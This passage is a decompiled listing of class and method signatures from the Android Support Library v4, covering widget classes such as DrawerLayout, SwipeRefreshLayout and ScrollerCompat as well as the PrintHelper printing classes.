synchronized class ExploreByTouchHelper$ExploreByTouchNodeProvider extends android.support.v4.view.accessibility.AccessibilityNodeProviderCompat {
    private void ExploreByTouchHelper$ExploreByTouchNodeProvider(ExploreByTouchHelper);
    public android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int);
    public boolean performAction(int, int, android.os.Bundle);
}










android/support/v4/widget/DrawerLayout$ViewDragCallback$1.class


package android.support.v4.widget;
synchronized class DrawerLayout$ViewDragCallback$1 implements Runnable {
    void DrawerLayout$ViewDragCallback$1(DrawerLayout$ViewDragCallback);
    public void run();
}










android/support/v4/widget/MaterialProgressDrawable$3.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable$3 implements android.graphics.drawable.Drawable$Callback {
    void MaterialProgressDrawable$3(MaterialProgressDrawable);
    public void invalidateDrawable(android.graphics.drawable.Drawable);
    public void scheduleDrawable(android.graphics.drawable.Drawable, Runnable, long);
    public void unscheduleDrawable(android.graphics.drawable.Drawable, Runnable);
}










android/support/v4/widget/MaterialProgressDrawable.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Animatable {
    private static final android.view.animation.Interpolator LINEAR_INTERPOLATOR;
    private static final android.view.animation.Interpolator END_CURVE_INTERPOLATOR;
    private static final android.view.animation.Interpolator START_CURVE_INTERPOLATOR;
    private static final android.view.animation.Interpolator EASE_INTERPOLATOR;
    static final int LARGE = 0;
    static final int DEFAULT = 1;
    private static final int CIRCLE_DIAMETER = 40;
    private static final float CENTER_RADIUS = 8.75;
    private static final float STROKE_WIDTH = 2.5;
    private static final int CIRCLE_DIAMETER_LARGE = 56;
    private static final float CENTER_RADIUS_LARGE = 12.5;
    private static final float STROKE_WIDTH_LARGE = 3.0;
    private final int[] COLORS;
    private static final int ANIMATION_DURATION = 1333;
    private static final float NUM_POINTS = 5.0;
    private final java.util.ArrayList mAnimators;
    private final MaterialProgressDrawable$Ring mRing;
    private float mRotation;
    private static final int ARROW_WIDTH = 10;
    private static final int ARROW_HEIGHT = 5;
    private static final float ARROW_OFFSET_ANGLE = 5.0;
    private static final int ARROW_WIDTH_LARGE = 12;
    private static final int ARROW_HEIGHT_LARGE = 6;
    private static final float MAX_PROGRESS_ARC = 0.8;
    private android.content.res.Resources mResources;
    private android.view.View mParent;
    private android.view.animation.Animation mAnimation;
    private float mRotationCount;
    private double mWidth;
    private double mHeight;
    boolean mFinishing;
    private final android.graphics.drawable.Drawable$Callback mCallback;
    public void MaterialProgressDrawable(android.content.Context, android.view.View);
    private void setSizeParameters(double, double, double, double, float, float);
    public void updateSizes(int);
    public void showArrow(boolean);
    public void setArrowScale(float);
    public void setStartEndTrim(float, float);
    public void setProgressRotation(float);
    public void setBackgroundColor(int);
    public transient void setColorSchemeColors(int[]);
    public int getIntrinsicHeight();
    public int getIntrinsicWidth();
    public void draw(android.graphics.Canvas);
    public void setAlpha(int);
    public int getAlpha();
    public void setColorFilter(android.graphics.ColorFilter);
    void setRotation(float);
    private float getRotation();
    public int getOpacity();
    public boolean isRunning();
    public void start();
    public void stop();
    private void applyFinishTranslation(float, MaterialProgressDrawable$Ring);
    private void setupAnimators();
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplJBMR1.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplJBMR1 extends SlidingPaneLayout$SlidingPanelLayoutImplBase {
    void SlidingPaneLayout$SlidingPanelLayoutImplJBMR1();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/ScrollerCompatGingerbread.class


package android.support.v4.widget;
synchronized class ScrollerCompatGingerbread {
    void ScrollerCompatGingerbread();
    public static Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public static boolean isFinished(Object);
    public static int getCurrX(Object);
    public static int getCurrY(Object);
    public static boolean computeScrollOffset(Object);
    public static void startScroll(Object, int, int, int, int);
    public static void startScroll(Object, int, int, int, int, int);
    public static void fling(Object, int, int, int, int, int, int, int, int);
    public static void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public static void abortAnimation(Object);
    public static void notifyHorizontalEdgeReached(Object, int, int, int);
    public static void notifyVerticalEdgeReached(Object, int, int, int);
    public static boolean isOverScrolled(Object);
    public static int getFinalX(Object);
    public static int getFinalY(Object);
}










android/support/v4/widget/PopupWindowCompat$KitKatPopupWindowImpl.class


package android.support.v4.widget;
synchronized class PopupWindowCompat$KitKatPopupWindowImpl extends PopupWindowCompat$BasePopupWindowImpl {
    void PopupWindowCompat$KitKatPopupWindowImpl();
    public void showAsDropDown(android.widget.PopupWindow, android.view.View, int, int, int);
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnCloseListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    public abstract boolean onClose();
}










android/support/v4/widget/PopupWindowCompat$BasePopupWindowImpl.class


package android.support.v4.widget;
synchronized class PopupWindowCompat$BasePopupWindowImpl implements PopupWindowCompat$PopupWindowImpl {
    void PopupWindowCompat$BasePopupWindowImpl();
    public void showAsDropDown(android.widget.PopupWindow, android.view.View, int, int, int);
}










android/support/v4/widget/PopupMenuCompat$KitKatPopupMenuImpl.class


package android.support.v4.widget;
synchronized class PopupMenuCompat$KitKatPopupMenuImpl extends PopupMenuCompat$BasePopupMenuImpl {
    void PopupMenuCompat$KitKatPopupMenuImpl();
    public android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/PopupWindowCompat.class


package android.support.v4.widget;
public synchronized class PopupWindowCompat {
    static final PopupWindowCompat$PopupWindowImpl IMPL;
    private void PopupWindowCompat();
    public static void showAsDropDown(android.widget.PopupWindow, android.view.View, int, int, int);
    static void <clinit>();
}










android/support/v4/widget/EdgeEffectCompat.class


package android.support.v4.widget;
public synchronized class EdgeEffectCompat {
    private Object mEdgeEffect;
    private static final EdgeEffectCompat$EdgeEffectImpl IMPL;
    public void EdgeEffectCompat(android.content.Context);
    public void setSize(int, int);
    public boolean isFinished();
    public void finish();
    public boolean onPull(float);
    public boolean onRelease();
    public boolean onAbsorb(int);
    public boolean draw(android.graphics.Canvas);
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$SavedState$1.class


package android.support.v4.widget;
final synchronized class SlidingPaneLayout$SavedState$1 implements android.os.Parcelable$Creator {
    void SlidingPaneLayout$SavedState$1();
    public SlidingPaneLayout$SavedState createFromParcel(android.os.Parcel);
    public SlidingPaneLayout$SavedState[] newArray(int);
}










android/support/v4/widget/ScrollerCompat.class


package android.support.v4.widget;
public synchronized class ScrollerCompat {
    private static final String TAG = ScrollerCompat;
    Object mScroller;
    ScrollerCompat$ScrollerCompatImpl mImpl;
    static final int CHASE_FRAME_TIME = 16;
    public static ScrollerCompat create(android.content.Context);
    public static ScrollerCompat create(android.content.Context, android.view.animation.Interpolator);
    void ScrollerCompat(android.content.Context, android.view.animation.Interpolator);
    private void ScrollerCompat(int, android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished();
    public int getCurrX();
    public int getCurrY();
    public int getFinalX();
    public int getFinalY();
    public float getCurrVelocity();
    public boolean computeScrollOffset();
    public void startScroll(int, int, int, int);
    public void startScroll(int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation();
    public void notifyHorizontalEdgeReached(int, int, int);
    public void notifyVerticalEdgeReached(int, int, int);
    public boolean isOverScrolled();
}










android/support/v4/widget/DrawerLayout$AccessibilityDelegate.class


package android.support.v4.widget;
synchronized class DrawerLayout$AccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    private final android.graphics.Rect mTmpRect;
    void DrawerLayout$AccessibilityDelegate(DrawerLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    private void addChildrenForAccessibility(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.view.ViewGroup);
    private void copyNodeInfoNoChildren(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/ContentLoadingProgressBar.class


package android.support.v4.widget;
public synchronized class ContentLoadingProgressBar extends android.widget.ProgressBar {
    private static final int MIN_SHOW_TIME = 500;
    private static final int MIN_DELAY = 500;
    private long mStartTime;
    private boolean mPostedHide;
    private boolean mPostedShow;
    private boolean mDismissed;
    private final Runnable mDelayedHide;
    private final Runnable mDelayedShow;
    public void ContentLoadingProgressBar(android.content.Context);
    public void ContentLoadingProgressBar(android.content.Context, android.util.AttributeSet);
    public void onAttachedToWindow();
    public void onDetachedFromWindow();
    private void removeCallbacks();
    public void hide();
    public void show();
}










android/support/v4/widget/CursorAdapter$MyDataSetObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$MyDataSetObserver extends android.database.DataSetObserver {
    private void CursorAdapter$MyDataSetObserver(CursorAdapter);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/widget/SearchViewCompatHoneycomb$2.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$2 implements android.widget.SearchView$OnCloseListener {
    void SearchViewCompatHoneycomb$2(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public boolean onClose();
}










android/support/v4/widget/DrawerLayout$State.class


package android.support.v4.widget;
abstract interface DrawerLayout$State extends annotation.Annotation {
}










android/support/v4/widget/CursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class CursorAdapter extends android.widget.BaseAdapter implements android.widget.Filterable, CursorFilter$CursorFilterClient {
    protected boolean mDataValid;
    protected boolean mAutoRequery;
    protected android.database.Cursor mCursor;
    protected android.content.Context mContext;
    protected int mRowIDColumn;
    protected CursorAdapter$ChangeObserver mChangeObserver;
    protected android.database.DataSetObserver mDataSetObserver;
    protected CursorFilter mCursorFilter;
    protected android.widget.FilterQueryProvider mFilterQueryProvider;
    public static final int FLAG_AUTO_REQUERY = 1;
    public static final int FLAG_REGISTER_CONTENT_OBSERVER = 2;
    public void CursorAdapter(android.content.Context, android.database.Cursor);
    public void CursorAdapter(android.content.Context, android.database.Cursor, boolean);
    public void CursorAdapter(android.content.Context, android.database.Cursor, int);
    protected void init(android.content.Context, android.database.Cursor, boolean);
    void init(android.content.Context, android.database.Cursor, int);
    public android.database.Cursor getCursor();
    public int getCount();
    public Object getItem(int);
    public long getItemId(int);
    public boolean hasStableIds();
    public android.view.View getView(int, android.view.View, android.view.ViewGroup);
    public android.view.View getDropDownView(int, android.view.View, android.view.ViewGroup);
    public abstract android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public abstract void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public void changeCursor(android.database.Cursor);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public CharSequence convertToString(android.database.Cursor);
    public android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public android.widget.Filter getFilter();
    public android.widget.FilterQueryProvider getFilterQueryProvider();
    public void setFilterQueryProvider(android.widget.FilterQueryProvider);
    protected void onContentChanged();
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$2.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$2 implements SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$2(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnCloseListenerCompat);
    public boolean onClose();
}










android/support/v4/widget/ListPopupWindowCompat$KitKatListPopupWindowImpl.class


package android.support.v4.widget;
synchronized class ListPopupWindowCompat$KitKatListPopupWindowImpl extends ListPopupWindowCompat$BaseListPopupWindowImpl {
    void ListPopupWindowCompat$KitKatListPopupWindowImpl();
    public android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/ViewDragHelper$2.class


package android.support.v4.widget;
synchronized class ViewDragHelper$2 implements Runnable {
    void ViewDragHelper$2(ViewDragHelper);
    public void run();
}










android/support/v4/widget/SlidingPaneLayout$SimplePanelSlideListener.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout$SimplePanelSlideListener implements SlidingPaneLayout$PanelSlideListener {
    public void SlidingPaneLayout$SimplePanelSlideListener();
    public void onPanelSlide(android.view.View, float);
    public void onPanelOpened(android.view.View);
    public void onPanelClosed(android.view.View);
}










android/support/v4/widget/SwipeRefreshLayout.class


package android.support.v4.widget;
public synchronized class SwipeRefreshLayout extends android.view.ViewGroup {
    public static final int LARGE = 0;
    public static final int DEFAULT = 1;
    private static final String LOG_TAG;
    private static final int MAX_ALPHA = 255;
    private static final int STARTING_PROGRESS_ALPHA = 76;
    private static final int CIRCLE_DIAMETER = 40;
    private static final int CIRCLE_DIAMETER_LARGE = 56;
    private static final float DECELERATE_INTERPOLATION_FACTOR = 2.0;
    private static final int INVALID_POINTER = -1;
    private static final float DRAG_RATE = 0.5;
    private static final float MAX_PROGRESS_ANGLE = 0.8;
    private static final int SCALE_DOWN_DURATION = 150;
    private static final int ALPHA_ANIMATION_DURATION = 300;
    private static final int ANIMATE_TO_TRIGGER_DURATION = 200;
    private static final int ANIMATE_TO_START_DURATION = 200;
    private static final int CIRCLE_BG_LIGHT = -328966;
    private static final int DEFAULT_CIRCLE_TARGET = 64;
    private android.view.View mTarget;
    private SwipeRefreshLayout$OnRefreshListener mListener;
    private boolean mRefreshing;
    private int mTouchSlop;
    private float mTotalDragDistance;
    private int mMediumAnimationDuration;
    private int mCurrentTargetOffsetTop;
    private boolean mOriginalOffsetCalculated;
    private float mInitialMotionY;
    private boolean mIsBeingDragged;
    private int mActivePointerId;
    private boolean mScale;
    private boolean mReturningToStart;
    private final android.view.animation.DecelerateInterpolator mDecelerateInterpolator;
    private static final int[] LAYOUT_ATTRS;
    private CircleImageView mCircleView;
    private int mCircleViewIndex;
    protected int mFrom;
    private float mStartingScale;
    protected int mOriginalOffsetTop;
    private MaterialProgressDrawable mProgress;
    private android.view.animation.Animation mScaleAnimation;
    private android.view.animation.Animation mScaleDownAnimation;
    private android.view.animation.Animation mAlphaStartAnimation;
    private android.view.animation.Animation mAlphaMaxAnimation;
    private android.view.animation.Animation mScaleDownToStartAnimation;
    private float mSpinnerFinalOffset;
    private boolean mNotify;
    private int mCircleWidth;
    private int mCircleHeight;
    private boolean mUsingCustomStart;
    private android.view.animation.Animation$AnimationListener mRefreshListener;
    private final android.view.animation.Animation mAnimateToCorrectPosition;
    private final android.view.animation.Animation mAnimateToStartPosition;
    private void setColorViewAlpha(int);
    public void setProgressViewOffset(boolean, int, int);
    public void setProgressViewEndTarget(boolean, int);
    public void setSize(int);
    public void SwipeRefreshLayout(android.content.Context);
    public void SwipeRefreshLayout(android.content.Context, android.util.AttributeSet);
    protected int getChildDrawingOrder(int, int);
    private void createProgressView();
    public void setOnRefreshListener(SwipeRefreshLayout$OnRefreshListener);
    private boolean isAlphaUsedForScale();
    public void setRefreshing(boolean);
    private void startScaleUpAnimation(android.view.animation.Animation$AnimationListener);
    private void setAnimationProgress(float);
    private void setRefreshing(boolean, boolean);
    private void startScaleDownAnimation(android.view.animation.Animation$AnimationListener);
    private void startProgressAlphaStartAnimation();
    private void startProgressAlphaMaxAnimation();
    private android.view.animation.Animation startAlphaAnimation(int, int);
    public void setProgressBackgroundColor(int);
    public transient void setColorScheme(int[]);
    public transient void setColorSchemeResources(int[]);
    public transient void setColorSchemeColors(int[]);
    public boolean isRefreshing();
    private void ensureTarget();
    public void setDistanceToTriggerSync(int);
    protected void onLayout(boolean, int, int, int, int);
    public void onMeasure(int, int);
    public boolean canChildScrollUp();
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    private float getMotionEventY(android.view.MotionEvent, int);
    public void requestDisallowInterceptTouchEvent(boolean);
    private boolean isAnimationRunning(android.view.animation.Animation);
    public boolean onTouchEvent(android.view.MotionEvent);
    private void animateOffsetToCorrectPosition(int, android.view.animation.Animation$AnimationListener);
    private void animateOffsetToStartPosition(int, android.view.animation.Animation$AnimationListener);
    private void moveToStart(float);
    private void startScaleDownReturnToStartAnimation(int, android.view.animation.Animation$AnimationListener);
    private void setTargetOffsetTopAndBottom(int, boolean);
    private void onSecondaryPointerUp(android.view.MotionEvent);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$DrawerListener.class


package android.support.v4.widget;
public abstract interface DrawerLayout$DrawerListener {
    public abstract void onDrawerSlide(android.view.View, float);
    public abstract void onDrawerOpened(android.view.View);
    public abstract void onDrawerClosed(android.view.View);
    public abstract void onDrawerStateChanged(int);
}










android/support/v4/widget/ExploreByTouchHelper.class


package android.support.v4.widget;
public abstract synchronized class ExploreByTouchHelper extends android.support.v4.view.AccessibilityDelegateCompat {
    public static final int INVALID_ID = -2147483648;
    private static final String DEFAULT_CLASS_NAME;
    private final android.graphics.Rect mTempScreenRect;
    private final android.graphics.Rect mTempParentRect;
    private final android.graphics.Rect mTempVisibleRect;
    private final int[] mTempGlobalRect;
    private final android.view.accessibility.AccessibilityManager mManager;
    private final android.view.View mView;
    private ExploreByTouchHelper$ExploreByTouchNodeProvider mNodeProvider;
    private int mFocusedVirtualViewId;
    private int mHoveredVirtualViewId;
    public void ExploreByTouchHelper(android.view.View);
    public android.support.v4.view.accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public boolean dispatchHoverEvent(android.view.MotionEvent);
    public boolean sendEventForVirtualView(int, int);
    public void invalidateRoot();
    public void invalidateVirtualView(int);
    public int getFocusedVirtualView();
    private void updateHoveredVirtualView(int);
    private android.view.accessibility.AccessibilityEvent createEvent(int, int);
    private android.view.accessibility.AccessibilityEvent createEventForHost(int);
    private android.view.accessibility.AccessibilityEvent createEventForChild(int, int);
    private android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createNode(int);
    private android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createNodeForHost();
    private android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createNodeForChild(int);
    private boolean performAction(int, int, android.os.Bundle);
    private boolean performActionForHost(int, android.os.Bundle);
    private boolean performActionForChild(int, int, android.os.Bundle);
    private boolean manageFocusForChild(int, int, android.os.Bundle);
    private boolean intersectVisibleToUser(android.graphics.Rect);
    private boolean isAccessibilityFocused(int);
    private boolean requestAccessibilityFocus(int);
    private boolean clearAccessibilityFocus(int);
    protected abstract int getVirtualViewAt(float, float);
    protected abstract void getVisibleVirtualViews(java.util.List);
    protected abstract void onPopulateEventForVirtualView(int, android.view.accessibility.AccessibilityEvent);
    protected abstract void onPopulateNodeForVirtualView(int, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    protected abstract boolean onPerformActionForVirtualView(int, int, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$DisableLayerRunnable.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$DisableLayerRunnable implements Runnable {
    final android.view.View mChildView;
    void SlidingPaneLayout$DisableLayerRunnable(SlidingPaneLayout, android.view.View);
    public void run();
}










android/support/v4/widget/ListPopupWindowCompatKitKat.class


package android.support.v4.widget;
synchronized class ListPopupWindowCompatKitKat {
    void ListPopupWindowCompatKitKat();
    public static android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/SlidingPaneLayout$LayoutParams.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout$LayoutParams extends android.view.ViewGroup$MarginLayoutParams {
    private static final int[] ATTRS;
    public float weight;
    boolean slideable;
    boolean dimWhenOffset;
    android.graphics.Paint dimPaint;
    public void SlidingPaneLayout$LayoutParams();
    public void SlidingPaneLayout$LayoutParams(int, int);
    public void SlidingPaneLayout$LayoutParams(android.view.ViewGroup$LayoutParams);
    public void SlidingPaneLayout$LayoutParams(android.view.ViewGroup$MarginLayoutParams);
    public void SlidingPaneLayout$LayoutParams(SlidingPaneLayout$LayoutParams);
    public void SlidingPaneLayout$LayoutParams(android.content.Context, android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$SimpleDrawerListener.class


package android.support.v4.widget;
public abstract synchronized class DrawerLayout$SimpleDrawerListener implements DrawerLayout$DrawerListener {
    public void DrawerLayout$SimpleDrawerListener();
    public void onDrawerSlide(android.view.View, float);
    public void onDrawerOpened(android.view.View);
    public void onDrawerClosed(android.view.View);
    public void onDrawerStateChanged(int);
}










android/support/v4/widget/EdgeEffectCompatIcs.class


package android.support.v4.widget;
synchronized class EdgeEffectCompatIcs {
    void EdgeEffectCompatIcs();
    public static Object newEdgeEffect(android.content.Context);
    public static void setSize(Object, int, int);
    public static boolean isFinished(Object);
    public static void finish(Object);
    public static boolean onPull(Object, float);
    public static boolean onRelease(Object);
    public static boolean onAbsorb(Object, int);
    public static boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ContentLoadingProgressBar$1.class


package android.support.v4.widget;
synchronized class ContentLoadingProgressBar$1 implements Runnable {
    void ContentLoadingProgressBar$1(ContentLoadingProgressBar);
    public void run();
}










android/support/v4/widget/PopupWindowCompatKitKat.class


package android.support.v4.widget;
synchronized class PopupWindowCompatKitKat {
    void PopupWindowCompatKitKat();
    public static void showAsDropDown(android.widget.PopupWindow, android.view.View, int, int, int);
}










android/support/v4/widget/AutoScrollHelper$1.class


package android.support.v4.widget;
synchronized class AutoScrollHelper$1 {
}










android/support/v4/widget/ListViewAutoScrollHelper.class


package android.support.v4.widget;
public synchronized class ListViewAutoScrollHelper extends AutoScrollHelper {
    private final android.widget.ListView mTarget;
    public void ListViewAutoScrollHelper(android.widget.ListView);
    public void scrollTargetBy(int, int);
    public boolean canTargetScrollHorizontally(int);
    public boolean canTargetScrollVertically(int);
}










android/support/v4/widget/CursorAdapter$1.class


package android.support.v4.widget;
synchronized class CursorAdapter$1 {
}










android/support/v4/print/PrintHelper$PrintHelperKitkatImpl$2.class


package android.support.v4.print;
synchronized class PrintHelper$PrintHelperKitkatImpl$2 implements PrintHelperKitkat$OnPrintFinishCallback {
    void PrintHelper$PrintHelperKitkatImpl$2(PrintHelper$PrintHelperKitkatImpl, PrintHelper$OnPrintFinishCallback);
    public void onFinish();
}










android/support/v4/print/PrintHelper$OnPrintFinishCallback.class


package android.support.v4.print;
public abstract interface PrintHelper$OnPrintFinishCallback {
    public abstract void onFinish();
}










android/support/v4/print/PrintHelper.class


package android.support.v4.print;
public final synchronized class PrintHelper {
    public static final int SCALE_MODE_FIT = 1;
    public static final int SCALE_MODE_FILL = 2;
    public static final int COLOR_MODE_MONOCHROME = 1;
    public static final int COLOR_MODE_COLOR = 2;
    public static final int ORIENTATION_LANDSCAPE = 1;
    public static final int ORIENTATION_PORTRAIT = 2;
    PrintHelper$PrintHelperVersionImpl mImpl;
    public static boolean systemSupportsPrint();
    public void PrintHelper(android.content.Context);
    public void setScaleMode(int);
    public int getScaleMode();
    public void setColorMode(int);
    public int getColorMode();
    public void setOrientation(int);
    public int getOrientation();
    public void printBitmap(String, android.graphics.Bitmap);
    public void printBitmap(String, android.graphics.Bitmap, PrintHelper$OnPrintFinishCallback);
    public void printBitmap(String, android.net.Uri) throws java.io.FileNotFoundException;
    public void printBitmap(String, android.net.Uri, PrintHelper$OnPrintFinishCallback) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelper$PrintHelperKitkatImpl.class


package android.support.v4.print;
final synchronized class PrintHelper$PrintHelperKitkatImpl implements PrintHelper$PrintHelperVersionImpl {
    private final PrintHelperKitkat mPrintHelper;
    void PrintHelper$PrintHelperKitkatImpl(android.content.Context);
    public void setScaleMode(int);
    public int getScaleMode();
    public void setColorMode(int);
    public int getColorMode();
    public void setOrientation(int);
    public int getOrientation();
    public void printBitmap(String, android.graphics.Bitmap, PrintHelper$OnPrintFinishCallback);
    public void printBitmap(String, android.net.Uri, PrintHelper$OnPrintFinishCallback) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelperKitkat$OnPrintFinishCallback.class


package android.support.v4.print;
public abstract interface PrintHelperKitkat$OnPrintFinishCallback {
    public abstract void onFinish();
}










android/support/v4/print/PrintHelper$PrintHelperVersionImpl.class


package android.support.v4.print;
abstract interface PrintHelper$PrintHelperVersionImpl {
    public abstract void setScaleMode(int);
    public abstract int getScaleMode();
    public abstract void setColorMode(int);
    public abstract int getColorMode();
    public abstract void setOrientation(int);
    public abstract int getOrientation();
    public abstract void printBitmap(String, android.graphics.Bitmap, PrintHelper$OnPrintFinishCallback);
    public abstract void printBitmap(String, android.net.Uri, PrintHelper$OnPrintFinishCallback) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelperKitkat.class


package android.support.v4.print;
synchronized class PrintHelperKitkat {
    private static final String LOG_TAG = PrintHelperKitkat;
    private static final int MAX_PRINT_SIZE = 3500;
    final android.content.Context mContext;
    android.graphics.BitmapFactory$Options mDecodeOptions;
    private final Object mLock;
    public static final int SCALE_MODE_FIT = 1;
    public static final int SCALE_MODE_FILL = 2;
    public static final int ORIENTATION_LANDSCAPE = 1;
    public static final int ORIENTATION_PORTRAIT = 2;
    public static final int COLOR_MODE_MONOCHROME = 1;
    public static final int COLOR_MODE_COLOR = 2;
    int mScaleMode;
    int mColorMode;
    int mOrientation;
    void PrintHelperKitkat(android.content.Context);
    public void setScaleMode(int);
    public int getScaleMode();
    public void setColorMode(int);
    public void setOrientation(int);
    public int getOrientation();
    public int getColorMode();
    public void printBitmap(String, android.graphics.Bitmap, PrintHelperKitkat$OnPrintFinishCallback);
    private android.graphics.Matrix getMatrix(int, int, android.graphics.RectF, int);
    public void printBitmap(String, android.net.Uri, PrintHelperKitkat$OnPrintFinishCallback) throws java.io.FileNotFoundException;
    private android.graphics.Bitmap loadConstrainedBitmap(android.net.Uri, int) throws java.io.FileNotFoundException;
    private android.graphics.Bitmap loadBitmap(android.net.Uri, android.graphics.BitmapFactory$Options) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelper$PrintHelperStubImpl.class


package android.support.v4.print;
final synchronized class PrintHelper$PrintHelperStubImpl implements PrintHelper$PrintHelperVersionImpl {
    int mScaleMode;
    int mColorMode;
    int mOrientation;
    private void PrintHelper$PrintHelperStubImpl();
    public void setScaleMode(int);
    public int getColorMode();
    public void setColorMode(int);
    public void setOrientation(int);
    public int getOrientation();
    public int getScaleMode();
    public void printBitmap(String, android.graphics.Bitmap, PrintHelper$OnPrintFinishCallback);
    public void printBitmap(String, android.net.Uri, PrintHelper$OnPrintFinishCallback);
}










android/support/v4/print/PrintHelper$1.class


package android.support.v4.print;
synchronized class PrintHelper$1 {
}










android/support/v4/print/PrintHelperKitkat$1.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$1 extends android.print.PrintDocumentAdapter {
    private android.print.PrintAttributes mAttributes;
    void PrintHelperKitkat$1(PrintHelperKitkat, String, android.graphics.Bitmap, int, PrintHelperKitkat$OnPrintFinishCallback);
    public void onLayout(android.print.PrintAttributes, android.print.PrintAttributes, android.os.CancellationSignal, android.print.PrintDocumentAdapter$LayoutResultCallback, android.os.Bundle);
    public void onWrite(android.print.PageRange[], android.os.ParcelFileDescriptor, android.os.CancellationSignal, android.print.PrintDocumentAdapter$WriteResultCallback);
    public void onFinish();
}










android/support/v4/print/PrintHelperKitkat$2$1.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$2$1 extends android.os.AsyncTask {
    void PrintHelperKitkat$2$1(PrintHelperKitkat$2, android.os.CancellationSignal, android.print.PrintAttributes, android.print.PrintAttributes, android.print.PrintDocumentAdapter$LayoutResultCallback);
    protected void onPreExecute();
    protected transient android.graphics.Bitmap doInBackground(android.net.Uri[]);
    protected void onPostExecute(android.graphics.Bitmap);
    protected void onCancelled(android.graphics.Bitmap);
}










android/support/v4/print/PrintHelperKitkat$2$1$1.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$2$1$1 implements android.os.CancellationSignal$OnCancelListener {
    void PrintHelperKitkat$2$1$1(PrintHelperKitkat$2$1);
    public void onCancel();
}










android/support/v4/print/PrintHelperKitkat$2.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$2 extends android.print.PrintDocumentAdapter {
    private android.print.PrintAttributes mAttributes;
    android.os.AsyncTask loadBitmap;
    android.graphics.Bitmap mBitmap;
    void PrintHelperKitkat$2(PrintHelperKitkat, String, android.net.Uri, PrintHelperKitkat$OnPrintFinishCallback, int);
    public void onLayout(android.print.PrintAttributes, android.print.PrintAttributes, android.os.CancellationSignal, android.print.PrintDocumentAdapter$LayoutResultCallback, android.os.Bundle);
    private void cancelLoad();
    public void onFinish();
    public void onWrite(android.print.PageRange[], android.os.ParcelFileDescriptor, android.os.CancellationSignal, android.print.PrintDocumentAdapter$WriteResultCallback);
}










android/support/v4/print/PrintHelper$PrintHelperKitkatImpl$1.class


package android.support.v4.print;
synchronized class PrintHelper$PrintHelperKitkatImpl$1 implements PrintHelperKitkat$OnPrintFinishCallback {
    void PrintHelper$PrintHelperKitkatImpl$1(PrintHelper$PrintHelperKitkatImpl, PrintHelper$OnPrintFinishCallback);
    public void onFinish();
}










android/support/v4/os/AsyncTaskCompat.class


package android.support.v4.os;
public synchronized class AsyncTaskCompat {
    public void AsyncTaskCompat();
    public static transient android.os.AsyncTask executeParallel(android.os.AsyncTask, Object[]);
}










